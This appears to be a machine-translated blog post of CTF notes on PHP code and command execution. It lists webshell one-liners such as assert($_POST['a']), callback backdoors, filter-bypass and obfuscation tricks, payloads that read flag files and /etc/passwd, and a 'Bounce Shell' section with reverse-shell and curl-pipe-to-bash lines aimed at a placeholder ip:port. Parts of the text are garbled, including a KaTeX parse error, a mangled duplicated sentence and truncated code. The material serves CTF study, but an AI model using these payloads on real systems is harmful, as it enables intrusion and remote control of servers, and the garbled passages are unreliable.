PHP command execution

Keywords: PHP CTF

PHP command execution

Main function

Code execution function


php complex variable

<?php ${phpinfo()};

{KaTeX parse error: Expected 'EOF', got '}' at position 12: {getname()}} ̲ => {s1ye} =>echo "s1ye";, It can be found that the getname function is executed first and "s1ye" is output, and then echo (priority) is executed.

$str = "{${phpinfo()}}", curly braces define the boundary of the variable. Therefore, this statement first executes the contents in the braces, obtains the return value of the function, names the variable with the string of the return value, and then assigns it to the str variable (the same as the test function analyzed above)


<?php assert($_POST['a']);

PHP < 7.0.29 can be called dynamically

<?php $a='assert'; $a($_POST['a']);


/e mode can execute arbitrary code, and this function is basically rarely used.

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');


eval('echo 222;');

Multiple statements can be executed, separated by semicolons.


Create anonymous function

$a = 'phpinfo();';
$b = create_function(" ",$a);


call_user_func('assert', $_REQUEST['pass']);


Callback function

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));


$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);



It is generally used in the variable length function feature of php.

Command execution function







No echo, output required.


shell_exec('ls'); No echo, output required.


$descriptorspec=array( //This index array specifies that you want to use proc_ Descriptor of the child process created by open
0=>array('pipe','r'), //STDIN
2=>array('pipe','w') //STDERROR
//Saved in $pipes is the file pointer corresponding to the PHP end of the pipeline created by the child process ($specified by $descriptorspec)
die('proc_open failed');


echo `ls`;


No echo, but can execute commands.



    echo "whoami";

Code utilization

1. Direct implementation

The function is basically not filtered, or you need to add an eval()/system()/exec() function to the eval() function.

2. Splicing bypass / dynamic call

Using the function assert()

For example ($_GET['a'])($_GET['b']);

PHP7 can execute commands ('system')('ls') in the form of (' ') (' ')

Use bypass



Or use or operation


3. Callback back door

1. Pass a parameter


2. Include remote files

By default, remote file inclusion is closed, so this method is not recommended.

include$_GET[1]; You can also include local files to let waf go in this way

3. Local files contain


However, this processing symbol will report an error, so you can pass in the encoded data and use it at last


4. The local log contains

Using web logs, you can include tmp files, but you need an absolute path.

5.php variable length parameters


6. No alphanumeric GetShell

1.Linux can use. To execute arbitrary scripts under the shell

2. Wildcards can be used for Linux file names

Bypass mode

Command separator

linux: %0a , %0d , | ,;,&

Space bypass

<   <>   %20%09   $IFS$9  //$9 is the ninth parameter holder of the shell process and is always a string 	$ {IFS}$IFS, etc

In Linux I F S yes branch Septum symbol , but yes Spell meet upper his he word symbol Just surface show become one individual change amount name word . example as : IFS is a separator, but other characters are spliced to represent a variable name. For example: IFS is a separator, but other characters are spliced to represent a variable name. For example: IFSf. You usually need braces to distinguish.

Keyword filtering

Splice bypass: a=g;cat fla$g.php Code bypass:`echo "Y2F0IC9mbGFn"|base64 -d` ,echo "Y2F0IC9mbGFn"|base64 -d|bash Single quotation mark or double quotation mark, back quotation mark interval: ca""t fl''ag ,cat fl'a'g,cat fla``g ...Backslash: ca\t fl\ag Using uninitialized variables:ca$@t fl$2ag(It can be numbers or symbols, otherwise it will be spliced with the following letters)Using environment variables:${PATH} Intercept the required characters

Advanced writing

666`\whoami`666w`f1hgb`ho`f1hgb`am`f1hgb`i wh$(f1hgb)oa$(f1hgb)mi  

Bypass using binary

16 Base system:$(printf "\x63\x61\x74...");8 Base system: $(printf "\x63\x61\x74...");


*Match any character of any length
Match any single character
[list]Match any single character within the specified range (list), or it can be a collection of single characters
[^list]Matches any single character or character set outside the specified range
[!list]Same as [^ list]
{str1,str2}Match str1 or str2 characters, or a collection
IFSBy or or
CRProduced by
!Execute the commands in history
cat ???g.???cat *g*cat `ls`

system() bypass

system("cat /etc/passwd")<=>"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");<=>(sy.(st).em)("cat /etc/passwd");<=>You can also use annotation methods to bypass"system/*fthgb666*/("cat /etc/passwd);"<=>"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"<=>"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"


Web pages can be used when there is no echo

Bounce Shell

curl ip:port/xxx.xx |bashxxx.xxbash -i >& /dev/tcp/ip/port 0>&1bash -i >& /dev/tcp/ 0>&1

bash -i produces a bash interactive environment

>&Combine the front and back contents, and then orient them to the back together

/dev/tcp/ip/port enables a tcp connection between the host and the target host

0 > & 1 combines the standard input and output content and redirects it to the previous standard output content.

Common payload

{cat,flag.php} cat${IFS}flag.phpcat$IFS$9flag.phpcat<flag.phpcat<>flag.phpkg=$'\x20flag.php'&&cat$kga=c;b=at;c=flag.php;$a$b $cb=ag;a=fl;cat$IFS$1$a$b.phpecho$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shecho$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bashecho$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3

Limit length

No alphanumeric

<?phpif(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);}

Method 1

Using XOR, because the bottom layer of the code is binary, we can use this to construct other strings. Letters can be constructed by XOR using numbers and letters.

<?phpecho "5"^"Z";?>----output----o

Method 2

Using inversion to operate ~ ($x{0}) on a Chinese character, you can get an ASCII string.

Because a string code will become three hexadecimal codes, a hexadecimal code can be obtained by using $x{1}

>>> print("Lu".encode("utf8"))b'\xe5\x8d\xa2'

Using inversion, you can get an ASCII code


Method 3

Using self increasing and self decreasing

Because in php

"A++" ==>B

Using this rule, we only need to be able to get one letter to construct the whole alphabet.

php is case insensitive, so you can replace it with uppercase letters

No parameters

Parameterless GetShell is generally payload and cannot have the form of a('x ')


Get one


**array_rand(): * * randomly takes one or more cells from the array and returns one or more keys.

**array_flip()/array_reverse: * * exchange keys and values in the array


Using readfile()/show_source()/highlight_file



2. Traverse the directory

1.getcwd() get the current working directory

2. Scanner() traverses all files in the current directory

3.dirname() returns the name of the upper level directory


**getallheaders(): * * get all HTTP request information (apache, nginx) available

Add a Header as c: phpinfo();, Select the appropriate payload according to the location:

  1. Add in Header first:

    payload: code=eval(pos(getallheaders()));

    (pos() can be replaced by current(). If in the second, you can use next())


Gets / sets the current session ID

Set seesion through cookie and use session_id() read utilization.



PHP > 7.1 to get super global variables, using array_rand()/array_flip() traversal


Returns an array of all defined variables.

Example analysis

Boring Code(ByteCTF 2019)

<?phpif ($_POST['code']){    $code = $_POST['code'];    if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {        if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {            echo 'bye~';        } else {            eval($code);        }    }else{        echo "No No No";    }}?>

There are two WAFS in this problem. Let's take out the nonparametric analysis separately.

Generally, first get the files in the current directory.


1. Because the file may not be in the current folder, you can use if. If the path change is successful, the file is read.

if(chdir(next(scandir(pos(localecov())))) readfile(end(scandir(pos(localecov()))))

2. Use localtime() to cooperate with chr()

In ASCII, the value of. Is 46. When the time is 46 seconds of a certain minute, the payload can be constructed successfully.


Chdir (next (scandir (POS (localeconv())) replaces the current path, and scandir (Chr (POS (Localtime (time))) lists the current directory structure after changing the path.


There are too many solutions to this problem. The most important thing is to obtain a point. This point can be represented by ascii, so as long as there is a number for mathematical operation, and finally get the point.

preg_replace problem

Generally speaking, preg_replace takes advantage of the \ e pattern and causes code execution.

In special cases, the second parameter is * *'strtower ("\ \ 1") '* * string, which is different from the usual way of executing code.

Let's first understand what matching pattern \ 1 corresponds to.

regular expression

Back reference

Adding parentheses around a regular expression pattern or partial pattern will cause the relevant matches to be stored in a temporary buffer, and each captured sub match is stored in the order from left to right in the regular expression pattern. The buffer number starts with 1 and can store up to 99 captured sub expressions. Each buffer can be accessed using '\ n', where n is a one - or two digit decimal number that identifies a particular buffer.

Therefore, the finally constructed content is judged according to the regular rules and according to the first matched content.


session.upload_progress file contains and deserializes penetration

When PHP > 5.4, a new function session. Upload is added_ progress

Several default options have been added to php.ini

1. session.upload_progress.enabled = on2. session.upload_progress.cleanup = on3. session.upload_progress.prefix = "upload_progress_"4. = "PHP_SESSION_UPLOAD_PROGRESS"5. session.upload_progress.freq = "1%"6. session.upload_progress.min_freq = "1"

enabled=on means upload_ The start of the progress function also means that when the browser wants to upload a file to the server, php will record the details of the file upload in the session.

cleanup=on means that php will empty the contents of the corresponding session file after the file upload is completed

prefix+name is the key name in the session

Reference articles

Boring Code

CTF command execution bypass

Anxun cup 2020

Posted by cptn_future on Sat, 02 Oct 2021 11:46:50 -0700